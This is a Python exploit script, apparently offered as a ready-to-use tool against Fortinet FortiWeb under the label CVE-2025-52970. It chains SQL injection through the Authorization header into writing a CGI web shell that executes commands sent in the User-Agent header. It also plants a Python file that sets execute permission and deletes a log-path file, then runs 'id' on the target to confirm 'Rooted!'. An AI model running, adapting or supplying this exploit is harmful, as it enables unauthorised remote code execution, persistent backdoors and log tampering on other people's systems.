#!/usr/bin/env python3 import argparse import binascii from urllib.parse import urljoin import requests import urllib3 urllib3.disable_warnings() # -------------------- 🎌 Banner -------------------- def banner(): print("\033[95m" + r""" ______ _ _ _ | ____| | | (_) | | | |__ ___ _ __| |_ _ __ _| |_ | __| / _ \| '__| __| |/ _` | __| | |___| (_) | | | |_| | (_| | |_ |______\___/|_| \__|_|\__,_|\__| 🔥 Fortinet FortiWeb Exploit 🔥 CVE-2025-52970 | Auth Bypass """ + "\033[0m") # -------------------- 🎨 Colors -------------------- def info(msg): print("\033[94m[*]\033[0m " + msg) # Blue def good(msg): print("\033[92m[+]\033[0m " + msg) # Green def bad(msg): print("\033[91m[!]\033[0m " + msg) # Red def star(msg): print("\033[96m[★]\033[0m " + msg) # Cyan # -------------------- SQL Injection -------------------- class SQLInjection: def __init__(self, target: str): self._target = target self._buggy_api = '/api/fabric/device/status' def inject_sql(self, injection: str) -> bool: headers = {"Authorization": f"Bearer ';{injection}"} dst_url = urljoin(self._target, self._buggy_api) try: r = requests.get(dst_url, headers=headers, verify=False) return r.status_code == 401 except Exception as e: bad("Request failed: " + str(e)) return False # -------------------- RCE Primitive -------------------- class RCE(SQLInjection): def __init__(self, target: str): super().__init__(target) self._pyhook_path = '/cgi-bin/ml-draw.py' # Payloads self._chmod_file = ( "import os # \r\n" "os.system('chmod +x /migadmin/cgi-bin/x.cgi && rm -f /var/log/lib/python3.10/pylab.py') #" ) self._webshell = ( "#!/bin/sh -- \r\n" "printf \"Content-Type: text/html\\r\\n\";printf \"\\r\\n\";eval $HTTP_USER_AGENT" ) def upload_webshell(self) -> bool: self._reset_tables() for part in self._split_payload(self._webshell): info(f"writing part {part}") self.inject_sql(f"use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--") star("writing webshell file") self.inject_sql("select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/migadmin/cgi-bin/x.cgi'/**/FIELDS/**/ESCAPED/**/BY/**/'';--") self._reset_tables() for part in self._split_payload(self._chmod_file): info(f"writing part {part}") self.inject_sql(f"use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--") star("cooking chmod gadget") self.inject_sql("select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'") info("triggering chmod") return self._trigger_chmod() def run_cmd(self, cmd: str) -> bytes: dst_url = urljoin(self._target, '/cgi-bin/x.cgi') try: r = requests.get(dst_url, verify=False, headers={'User-Agent': cmd}) return r.content except Exception as e: bad("Command failed: " + str(e)) return b'' def _trigger_chmod(self) -> bool: dst_url = urljoin(self._target, self._pyhook_path) try: r = requests.get(dst_url, verify=False) return r.status_code == 500 except Exception as e: bad("Trigger failed: " + str(e)) return False def _split_payload(self, input_bytes): return [input_bytes[i:i+16] for i in range(0, len(input_bytes), 16)] def _reset_tables(self): self.inject_sql('drop/**/table/**/fabric_user.a;--') self.inject_sql('create/**/table/**/fabric_user.a/**/(a/**/TEXT);--') self.inject_sql('insert/**/into/**/fabric_user.a/**/values(\'\');--') # -------------------- Main -------------------- def main(): banner() parser = argparse.ArgumentParser(prog='exp.py', description='SQLi ➝ RCE on FortiWeb (CVE-2025-52970)') parser.add_argument('-t', '--target', help='Target URL (e.g., https://victim.com/)', required=True) args = parser.parse_args() pew = RCE(args.target) if pew.upload_webshell(): good("Exploit successful! ✨") star("executing `id` ...") out = pew.run_cmd('id') print("\033[93m" + out.decode() + "\033[0m") # yellow highlight good("Webshell ready at: " + urljoin(args.target, '/cgi-bin/x.cgi')) print("\n\033[95mAnime Victory Scene 🎌✨\033[0m\n") print(r""" ⠀⠀⠀⢀⣤⣶⣶⣶⣶⣶⣶⣤⡀⠀⠀ ⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀ 🎇 Rooted! ⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀ ⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀ """) print("Use the `User-Agent` header to send commands 🕹️") else: bad("Exploit failed :(") if __name__ == '__main__': main()